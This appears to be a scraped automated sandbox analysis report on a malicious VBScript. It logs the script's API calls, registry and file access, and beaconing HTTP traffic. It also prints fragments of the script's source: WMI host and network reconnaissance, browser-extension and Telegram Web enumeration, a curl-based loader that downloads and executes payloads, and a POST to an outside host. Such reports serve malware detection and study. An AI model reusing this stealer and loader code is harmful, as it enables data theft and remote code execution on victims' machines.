loaded module "AMSI.DLL" at base 7ff8dbb90000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 7ff8deb80000 "WScript.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.18.23090.2008-0\MPOAV.DLL" at base 7ff8dbb10000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\29OEMA80.DLL" at base 7ff8bad70000 "WScript.exe" loaded module "WLDP.DLL" at base 7ff8e92a0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 7ff8ebc70000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 7ff8e8a70000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\MSISIP.DLL" at base 7ff8c0e60000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 7ff8ea160000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WSHEXT.DLL" at base 7ff8c0480000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\SCROBJ.DLL" at base 7ff8bdc80000 "WScript.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 7ff8e9db0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMDISP.DLL" at base 7ff8ba7a0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMPROX.DLL" at base 7ff8dcca0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WMIUTILS.DLL" at base 7ff8dbcb0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMSVC.DLL" at base 7ff8dbe40000 "WScript.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL" at base 7ff8e9db0000 "WScript.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-1-0.DLL" at base 7ff8e9db0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\FASTPROX.DLL" at base 7ff8dc310000 "WScript.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 7ff8e9db0000 "WScript.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 7ff8e9db0000 "WScript.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 7ff8e9db0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\SCRRUN.DLL" at base 7ff8ba4e0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WSHOM.OCX" at base 7ff8d4870000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WINHTTPCOM.DLL" at base 7ff8dac00000 "WScript.exe" loaded module "WINHTTP.DLL" at base 7ff8e34d0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\ONDEMANDCONNROUTEHELPER.DLL" at base 7ff8cc210000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 7ff8e8f70000 "WScript.exe" loaded module "SSPICLI.DLL" at base 7ff8e8d50000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base 7ff8e0b80000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 7ff8e1e30000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\SCHANNEL.DLL" at base 7ff8e8970000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\NCRYPTSSLP.DLL" at base 7ff8d8140000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 7ff8e9ab0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\CRYPTNET.DLL" at base 7ff8db0c0000 "WScript.exe" loaded module "CRYPTNET.DLL" at base 7ff8db0c00002d:T638,"WScript.exe" called "FindFirstFileW" with parameter %LOCALAPPDATA%\Google\Chrome\User Data\Default\Extensions\* (UID: 00000000-00004736) "WScript.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00004736) "WScript.exe" called "FindNextFileW" with parameter ghbmnnjooekpmoecnnnilnnbdlolhkhi (UID: 00000000-00004736) "WScript.exe" called "FindFirstFileW" with parameter C:\Users (UID: 00000000-00004736) "WScript.exe" called "FindFirstFileW" with parameter C:\Users\lFICtlX (UID: 00000000-00004736) "WScript.exe" called "FindFirstFileW" with parameter %USERPROFILE%\AppData (UID: 00000000-00004736) "WScript.exe" called "FindFirstFileW" with parameter %USERPROFILE%\AppData\Local (UID: 00000000-00004736) "WScript.exe" called "FindFirstFileW" with parameter %LOCALAPPDATA%\Google (UID: 00000000-00004736) "WScript.exe" called "FindFirstFileW" with parameter %LOCALAPPDATA%\Google\Chrome (UID: 00000000-00004736) "WScript.exe" called "FindFirstFileW" with parameter %LOCALAPPDATA%\Google\Chrome\User Data (UID: 00000000-00004736) "WScript.exe" called "FindFirstFileW" with parameter %LOCALAPPDATA%\Google\Chrome\User Data\Default (UID: 00000000-00004736) "WScript.exe" called "FindFirstFileW" with parameter %LOCALAPPDATA%\Google\Chrome\User Data\Default\Extensions (UID: 00000000-00004736) "WScript.exe" called "FindFirstFileW" with parameter %LOCALAPPDATA%\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi (UID: 00000000-00004736) "WScript.exe" called "FindNextFileW" with parameter nmmhkkegccagdldgiimedpiccmgmieda (UID: 00000000-00004736)2e:T1651,"UName = ""Dim ObjWMI, colItems, objItemSet ObjWMI = GetObject("winmgmts:\\" & fcom & "\root\CIMV2")Set colItems = ObjWMI.ExecQuery("SELECT * FROM Win32_ComputerSystem", , 48)For Each objItem In colItemsIf Not IsNull(objItem.UserName) ThengetUName = objItem.UserNameEnd IfNextEnd FunctionFunction getInfo()getInfo = ""Dim ObjWMI, osItems, item, wdate, csItems, tzItems, tzitem, cTZ, UtcName, timezoneDim cpuItems, cpuArch, adapItems, adapterSet ObjWMI = GetObject("winmgmts:\\" & fcom & "\root\CIMV2")Set osItems = ObjWMI.ExecQuery("Select * from Win32_OperatingSystem")Set wdate = CreateObject("WbemScripting.SWbemDateTime")For Each item In osItemsOn Error Resume NextgetInfo = getInfo & "Hostname:" & tab & item.CSName & entgetInfo = getInfo & "OS Name:" & tab & item.Caption & " " & item.OSArchitecture & entgetInfo = getInfo & "OS Version:" & tab & item.Version & entIf Not IsNull(item.InstallDate) Thenwdate.Value = item.InstallDategetInfo = getInfo & "Install" (Indicator: " win32_computersystem"; File: "kim_jong_un_is_a_fat_ugly_pig.vbs"), "Date:" & tab & GetFormattedDate(wdate.GetVarDate(True)) & entEnd IfIf Not IsNull(item.LastBootUpTime) Thenwdate.Value = item.LastBootUpTimegetInfo = getInfo & "Boot Time:" & tab & FormatDateTime(wdate.GetVarDate(True)) & entEnd IfNextSet csItems = ObjWMI.ExecQuery("SELECT * FROM Win32_ComputerSystem")Set tzItems = ObjWMI.ExecQuery("SELECT * FROM Win32_TimeZone")For Each item In csItemscTZ = item.CurrentTimeZoneNextFor Each tzitem In tzItemsUtcName = tzitem.StandardNameNexttimezone = "(UTC " & CStr(cTZ / 60) & " hours) " & UtcNamegetInfo = getInfo & "Time Zone:" & tab & timezone & entSet cpuItems = ObjWMI.ExecQuery("SELECT * FROM Win32_Processor")For Each item In cpuItemsSelect Case item.ArchitectureCase 0: cpuArch = "x86"Case 6: cpuArch = "Itanium"Case 9: cpuArch = "x64"Case Else: cpuArch = "Unknown"End SelectgetInfo = getInfo & "CPU:" & tab & tab & item.Name & " (" & cpuArch & ")" & entNextgetInfo = getInfo & "Path: " & tab & WScr" (Indicator: " win32_computersystem"; File: "kim_jong_un_is_a_fat_ugly_pig.vbs"), "ipt.ScriptFullName & ent & entSet adapItems = ObjWMI.ExecQuery("SELECT * FROM Win32_NetworkAdapterConfiguration", , 48)For Each adapter In adapItemsOn Error Resume NextIf Not IsNull(adapter.IPAddress) ThengetInfo = getInfo & "Network Adapter:" & tab & adapter.Description & entgetInfo = getInfo & " MAC Address:" & tab & adapter.MACAddress & entgetInfo = getInfo & " IP Address:" & tab & Join(adapter.IPAddress, ",") & entgetInfo = getInfo & " Subnet Mask:" & tab & Join(adapter.IPSubnet, ",") & entgetInfo = getInfo & " Default Gateway:" & tab & Join(adapter.DefaultIPGateway, ",") & entIf adapter.DHCPEnabled = True ThengetInfo = getInfo & " DHCP Servers:" & tab & adapter.DHCPServer & entEnd IfgetInfo = getInfo & " DNS Server:" & tab & Join(adapter.DNSServerSearchOrder, ",") & entEnd IfNextEnd FunctionFunction getProc()getProc = ""On Error Resume NextDim objWMIService prclst prcSet objWMIService = GetObject("winmgmts:{impersonationLevel=imperson" (Indicator: " win32_networkadapterconfiguration"; File: "kim_jong_un_is_a_fat_ugly_pig.vbs") "ate}!\\" & fcom & "\root\cimv2")Set prclst = objWMIService.ExecQuery("Select * from Win32_Process")For Each prc In prclstIf InStr(1, prc.Name, "svchost", 1) = 0 And prc.ProcessID <> 0 And prc.ProcessID <> 4 ThengetProc = getProc & ent & CStr(prc.ProcessID) & tab & CStr(prc.SessionID) & tabIf IsNull(prc.CommandLine) ThengetProc = getProc & prc.NameElsegetProc = getProc & prc.CommandLineEnd IfEnd IfNextEnd FunctionSub AddChromeStyleExtensions(fso, dict, basePath)Dim folder subfolder keyIf Not fso.FolderExists(basePath) Then Exit SubIf fso.FolderExists(basePath & "Default\Extensions") ThenOn Error Resume NextFor Each subfolder In fso.GetFolder(basePath & "Default\Extensions").SubFolderskey = LCase(subfolder.Name)If Not dict.Exists(key) Then dict.Add key subfolder.NameNextOn Error GoTo 0End IfFor Each folder In fso.GetFolder(basePath).SubFoldersIf LCase(Left(folder.Name, 8)) = "profile " ThenIf fso.FolderExists(folder.Path & "\Extens" (Indicator: " win32_process"; File: "kim_jong_un_is_a_fat_ugly_pig.vbs") "Set colItems = ObjWMI.ExecQuery("SELECT * FROM Win32_ComputerSystem", , 48)" (Indicator: " win32_computersystem"; File: "kim_jong_un_is_a_fat_ugly_pig.vbs") "Set osItems = ObjWMI.ExecQuery("Select * from Win32_OperatingSystem")" (Indicator: " win32_operatingsystem"; File: "kim_jong_un_is_a_fat_ugly_pig.vbs") "Set csItems = ObjWMI.ExecQuery("SELECT * FROM Win32_ComputerSystem")" (Indicator: " win32_computersystem"; File: "kim_jong_un_is_a_fat_ugly_pig.vbs") "Set cpuItems = ObjWMI.ExecQuery("SELECT * FROM Win32_Processor")" (Indicator: " win32_process"; File: "kim_jong_un_is_a_fat_ugly_pig.vbs") "Set adapItems = ObjWMI.ExecQuery("SELECT * FROM Win32_NetworkAdapterConfiguration", , 48)" (Indicator: " win32_networkadapterconfiguration"; File: "kim_jong_un_is_a_fat_ugly_pig.vbs") "Set prclst = objWMIService.ExecQuery("Select * from Win32_Process")" (Indicator: " win32_process"; File: "kim_jong_un_is_a_fat_ugly_pig.vbs") "SELECT * FROM Win32_ComputerSystem" (Indicator: " win32_computersystem"; Source: "00000000-00004736-00002714-499021354") "Select * from Win32_OperatingSystem" (Indicator: " win32_operatingsystem"; Source: "00000000-00004736-00002714-499068624") "SELECT * FROM Win32_Processor" (Indicator: " win32_process"; Source: "00000000-00004736-00002714-499468766") "SELECT * FROM Win32_NetworkAdapterConfiguration" (Indicator: " win32_networkadapterconfiguration"; Source: "00000000-00004736-00002714-501708044") "Select * from Win32_Process" (Indicator: " win32_process"; Source: "00000000-00004736-00002714-501847794")2f:Td78,"WScript.exe" called "BCryptDecrypt" with parameters {"$dataout": "HTTP/1.1 200 OKDate: Mon, 06 Jul 2026 13:22:21 GMTContent-Length: 0"} "WScript.exe" called "BCryptDecrypt" with parameters {"$dataout": "HTTP/1.1 200 OKDate: Mon, 06 Jul 2026 13:22:26 GMTContent-Length: 0"} "WScript.exe" called "BCryptDecrypt" with parameters {"$dataout": "HTTP/1.1 200 OKDate: Mon, 06 Jul 2026 13:22:30 GMTContent-Length: 0"} "WScript.exe" called "BCryptDecrypt" with parameters {"$dataout": "HTTP/1.1 200 OKDate: Mon, 06 Jul 2026 13:22:35 GMTContent-Length: 0"} "WScript.exe" called "BCryptDecrypt" with parameters {"$dataout": "HTTP/1.1 200 OKDate: Mon, 06 Jul 2026 13:22:39 GMTContent-Length: 0"} "WScript.exe" called "BCryptDecrypt" with parameters {"$dataout": "HTTP/1.1 200 OKDate: Mon, 06 Jul 2026 13:22:44 GMTContent-Length: 0"} "WScript.exe" called "BCryptDecrypt" with parameters {"$dataout": "HTTP/1.1 200 OKDate: Mon, 06 Jul 2026 13:22:48 GMTContent-Length: 0"} "WScript.exe" called "BCryptDecrypt" with parameters {"$dataout": "HTTP/1.1 200 OKDate: Mon, 06 Jul 2026 13:22:53 GMTContent-Length: 0"} "WScript.exe" called "BCryptDecrypt" with parameters {"$dataout": "HTTP/1.1 200 OKDate: Mon, 06 Jul 2026 13:22:57 GMTContent-Length: 0"} "WScript.exe" called "BCryptDecrypt" with parameters {"$dataout": "HTTP/1.1 200 OKDate: Mon, 06 Jul 2026 13:23:02 GMTContent-Length: 0"} "WScript.exe" called "BCryptDecrypt" with parameters {"$dataout": "HTTP/1.1 200 OKDate: Mon, 06 Jul 2026 13:23:06 GMTContent-Length: 0"} "WScript.exe" called "BCryptDecrypt" with parameters {"$dataout": "HTTP/1.1 200 OKDate: Mon, 06 Jul 2026 13:23:11 GMTContent-Length: 0"} "WScript.exe" called "BCryptDecrypt" with parameters {"$dataout": "HTTP/1.1 200 OKDate: Mon, 06 Jul 2026 13:23:15 GMTContent-Length: 0"} "WScript.exe" called "BCryptDecrypt" with parameters {"$dataout": "HTTP/1.1 200 OKDate: Mon, 06 Jul 2026 13:23:20 GMTContent-Length: 0"} "WScript.exe" called "BCryptDecrypt" with parameters {"$dataout": "HTTP/1.1 200 OKDate: Mon, 06 Jul 2026 13:23:24 GMTContent-Length: 0"} "WScript.exe" called "BCryptDecrypt" with parameters {"$dataout": "HTTP/1.1 200 OKDate: Mon, 06 Jul 2026 13:23:29 GMTContent-Length: 0"} "WScript.exe" called "BCryptDecrypt" with parameters {"$dataout": "HTTP/1.1 200 OKDate: Mon, 06 Jul 2026 13:23:33 GMTContent-Length: 0"} "WScript.exe" called "BCryptDecrypt" with parameters {"$dataout": "HTTP/1.1 200 OKDate: Mon, 06 Jul 2026 13:23:37 GMTContent-Length: 0"} "WScript.exe" called "BCryptDecrypt" with parameters {"$dataout": "HTTP/1.1 200 OKDate: Mon, 06 Jul 2026 13:23:42 GMTContent-Length: 0"} "WScript.exe" called "BCryptDecrypt" with parameters {"$dataout": "HTTP/1.1 200 OKDate: Mon, 06 Jul 2026 13:23:46 GMTContent-Length: 0"} "WScript.exe" called "BCryptDecrypt" with parameters {"$dataout": "HTTP/1.1 200 OKDate: Mon, 06 Jul 2026 13:23:51 GMTContent-Length: 0"} "WScript.exe" called "BCryptDecrypt" with parameters {"$dataout": "HTTP/1.1 200 OKDate: Mon, 06 Jul 2026 13:23:55 GMTContent-Length: 0"} "WScript.exe" called "BCryptDecrypt" with parameters {"$dataout": "HTTP/1.1 200 OKDate: Mon, 06 Jul 2026 13:24:00 GMTContent-Length: 0"} "WScript.exe" called "BCryptDecrypt" with parameters {"$dataout": "HTTP/1.1 200 OKDate: Mon, 06 Jul 2026 13:24:04 GMTContent-Length: 0"} "WScript.exe" called "BCryptDecrypt" with parameters {"$dataout": "HTTP/1.1 200 OKDate: Mon, 06 Jul 2026 13:24:09 GMTContent-Length: 0"}30:Tc51,"WScript.exe" called "RtlGetVersion" with parameter 140100000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004736) "WScript.exe" called "RtlGetVersion" with parameter 1c0100000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004736) "WScript.exe" called "RtlGetVersion" with parameter 140100000a000000000000005d580000020000000000000020d28f28b70000000000000000000000020000000000000000d18f28b70000001000000000000400d5d9a26afd0d0000310031006200360000000000000000000000000000000000582880eaf87f000030d38f28b7000000f8dd2b17eaced1118b0500600806d9b63e0fe941c156334681c36e8bac8bdd7030d28f28b7000000c7bc5feaf87f0000100800000000000036007d0000000000f8dd2b17eaced1118b0500600806d9b63e0fe941c156334681c36e8bac8bdd7015d9a26afd0d00002a426decf87f00000000000000000000000000000000000008d38f28b700000038d38f28b70000000000000000000000000000000000000000000000 (UID: 00000000-00004736) "WScript.exe" called "RtlGetVersion" with parameter 140100000a000000000000005d5800000200000000000000c93832eaf87f000080000000000000000000000000000000a010cf32a402000010336eecf87f0000000000000000000000009feaf87f000030b98f28b700000010412feaf87f000040a8cd32a4020000f0b88f28b7000000000000000000000000000000000000000100000000000000b8402feaf87f00000000000000000000010000000000000000009feaf87f00003b4ddfe9f87f00000000000000000000e8bd8f28b70000000000000000000000d02ab1eaf87f000010b317ebf87f0000e8f82eeaf87f000010b317ebf87f0000d02ab1eaf87f00000d000000f87f00000d00000000000000a0f607ebf87f0000f587aceaf87f0000d02ab1ea (UID: 00000000-00004736) "WScript.exe" called "RtlGetVersion" with parameter 240100000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004736)31:T63a,Contains base64 string in header "POST" in header "POST /info?t=3540037 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 3729Host: callsdk.online" Contains base64 string in header "Keep" in header "POST /info?t=3540037 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 3729Host: callsdk.online" Contains base64 string in header "AliveContent" in header "POST /info?t=3540037 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 3729Host: callsdk.online" Contains base64 string in header "Type" in header "POST /info?t=3540037 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 3729Host: callsdk.online" Contains base64 string in header "User" in header "POST /info?t=3540037 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 3729Host: callsdk.online" Contains base64 string in header "3729Host" in header "POST /info?t=3540037 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 3729Host: callsdk.online"32:Ta3b,"teObject("Scripting.Dictionary")localAppData = shell.ExpandEnvironmentStrings("%LOCALAPPDATA%\")appData = shell.ExpandEnvironmentStrings("%APPDATA%\")AddChromeStyleExtensions fso, dict, localAppData & "Google\Chrome\User Data\"AddChromeStyleExtensions fso, dict, localAppData & "Google\Chrome Beta\User Data\"AddChromeStyleExtensions fso, dict, localAppData & "Google\Chrome Dev\User Data\"AddChromeStyleExtensions fso, dict, localAppData & "Chromium\User Data\"AddChromeStyleExtensions fso, dict, localAppData & "Microsoft\Edge\User Data\"AddChromeStyleExtensions fso, dict, localAppData & "BraveSoftware\Brave-Browser\User Data\"AddChromeStyleExtensions fso, dict, localAppData & "Opera Software\Opera Stable\User Data\"AddChromeStyleExtensions fso, dict, localAppData & "Opera Software\Opera GX Stable\User Data\"AddChromeStyleExtensions fso, dict, localAppData & "Vivaldi\User Data\"AddFirefoxExtensions fso, dict, appData & "Mozilla\Firefox\Profiles\"result = ""For Each key In dict.Keysr" in Source: kim_jong_un_is_a_fat_ugly_pig.vbs "TelegramWebUsage()HasTelegramWebUsage = FalseDim fso, shell, localAppData, appDataSet fso = CreateObject("Scripting.FileSystemObject")Set shell = CreateObject("WScript.Shell")localAppData = shell.ExpandEnvironmentStrings("%LOCALAPPDATA%\")appData = shell.ExpandEnvironmentStrings("%APPDATA%\")If ScanChromiumBrowserTelegram(fso, localAppData & "Google\Chrome\User Data\") ThenHasTelegramWebUsage = TrueExit FunctionEnd IfIf ScanChromiumBrowserTelegram(fso, localAppData & "Microsoft\Edge\User Data\") ThenHasTelegramWebUsage = TrueExit FunctionEnd IfIf ScanChromiumBrowserTelegram(fso, localAppData & "BraveSoftware\Brave-Browser\User Data\") ThenHasTelegramWebUsage = TrueExit FunctionEnd IfIf ScanFirefoxProfilesTelegram(fso, appData & "Mozilla\Firefox\Profiles\") ThenHasTelegramWebUsage = TrueExit FunctionEnd IfEnd FunctionFunction GetFormattedDate(sDate)Dim strDate, strDay, strMonth, strYearstrDate = CDate(sDate)strDay = DatePart("d", strDate)strMonth =" in Source: kim_jong_un_is_a_fat_ugly_pig.vbs "AddChromeStyleExtensions fso, dict, localAppData & "BraveSoftware\Brave-Browser\User Data\"" in Source: kim_jong_un_is_a_fat_ugly_pig.vbs "AddChromeStyleExtensions fso, dict, localAppData & "Opera Software\Opera Stable\User Data\"" in Source: kim_jong_un_is_a_fat_ugly_pig.vbs "AddChromeStyleExtensions fso, dict, localAppData & "Opera Software\Opera GX Stable\User Data\"" in Source: kim_jong_un_is_a_fat_ugly_pig.vbs "If ScanChromiumBrowserTelegram(fso, localAppData & "BraveSoftware\Brave-Browser\User Data\") Then" in Source: kim_jong_un_is_a_fat_ugly_pig.vbs33:T423,file/memory contains long string with (Indicator: "If m.Count > 0 Then uuidVal = m(0).SubMatches(0) Else uuidVal = ""If StrComp(execType, "In-Memory", 1) = 0 ThenDim ExecuteParamscontentVal = ExtractJsonStringValue(jsonStr, "content")If Len(contentVal) = 0 Then Exit SubExecuteParams = paramsValPostStatus baseUrl uuidVal "Downloaded"Execute contentValPostStatus baseUrl uuidVal "Executed"ElseIf StrComp(execType, "Disk", 1) = 0 ThenDim getUrl tmpPath fso payloadFileName curlCmd curlRetSet fso = CreateObject("Scripting.FileSystemObject")Set shell = CreateObject("WScript.Shell")payloadFileName = fso.GetFileName(payloadVal)If Len(payloadFileName) = 0 Then payloadFileName = "payload"tmpPath = shell.ExpandEnvironmentStrings("%TEMP%") & "\" & payloadFileNamegetUrl = baseUrl & "/3?payload=" & ServerURLEncode(payloadVal)curlCmd = "curl -o """ & tmpPath & """ """ & getUrl & """"curlRet = shell.Run(curlCmd, 0, True)If curlRet <> 0 Then Exit SubIf Not fso.FileExists(tmpPath) Then Exit SubPostStatus baseU"; File: "kim_jong_un_is_a_fat_ugly_pig.vbs")34:T62e,"WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\TYPELIB\{565783C6-CB41-11D1-8B02-00600806D9B6}\1.2") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\TYPELIB\{565783C6-CB41-11D1-8B02-00600806D9B6}\1.2\409") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\TYPELIB\{565783C6-CB41-11D1-8B02-00600806D9B6}\1.2\409") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\TYPELIB\{565783C6-CB41-11D1-8B02-00600806D9B6}\1.2\9") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\TYPELIB\{565783C6-CB41-11D1-8B02-00600806D9B6}\1.2\9") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\TYPELIB\{565783C6-CB41-11D1-8B02-00600806D9B6}\1.2\0\WIN64") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\WBEMSCRIPTING.SWBEMDATETIME") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\WBEMSCRIPTING.SWBEMDATETIME") "WScript.exe" (Access type: "QUERY"; Path: "HKLM\SOFTWARE\CLASSES\WBEMSCRIPTING.SWBEMDATETIME") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\WBEMSCRIPTING.SWBEMDATETIME\CLSID") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\WBEMSCRIPTING.SWBEMDATETIME\CLSID") "WScript.exe" (Access type: "QUERY"; Path: "HKLM\SOFTWARE\CLASSES\WBEMSCRIPTING.SWBEMDATETIME\CLSID") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\WBEMSCRIPTING.SWBEMDATETIME\CLSID") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\PACKAGEDCOM\PROGIDINDEX") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\PACKAGEDCOM\PROGIDINDEX\WBEMSCRIPTING.SWBEMDATETIME")35:T4a2,"WScript.exe" trying to touch file "C:\Windows\System32\version.dll" "WScript.exe" trying to touch file "C:\Windows\System32\imm32.dll" "WScript.exe" trying to touch file "C:\Windows\System32\en-US\wscript.exe.mui" "WScript.exe" trying to touch file "C:\Windows\System32\fltLib.dll" "WScript.exe" trying to touch file "C:\Windows\System32\cryptsp.dll" "WScript.exe" trying to touch file "C:\windows\temp\VxOle64.dll" "WScript.exe" trying to touch file "\Global??\FltMgrMsg" "WScript.exe" trying to touch file "C:\WINDOWS\system32\rpcss.dll" "WScript.exe" trying to touch file "C:\Windows\System32\rpcss.dll" "WScript.exe" trying to touch file "C:\WINDOWS\SYSTEM32\kernel.appcore.dll" "WScript.exe" trying to touch file "C:\Windows\System32\kernel.appcore.dll" "WScript.exe" trying to touch file "\Device\CNG" "WScript.exe" trying to touch file "C:\WINDOWS\system32\uxtheme.dll" "WScript.exe" trying to touch file "C:\Windows\System32\uxtheme.dll" "WScript.exe" trying to touch file "C:\WINDOWS\System32\WScript.exe" "WScript.exe" trying to touch file "C:\Windows\System32\wscript.exe" "WScript.exe" trying to touch file "C:\Windows\Globalization\Sorting\SortDefault.nls"36:Tb16,"WScript.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA") "WScript.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "WScript.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "WScript.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "WScript.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA") "WScript.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "WScript.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "WScript.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "WScript.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "WScript.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "WScript.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "WScript.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "WScript.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "WScript.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "WScript.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "WScript.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "WScript.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT") "WScript.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES") "WScript.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS") 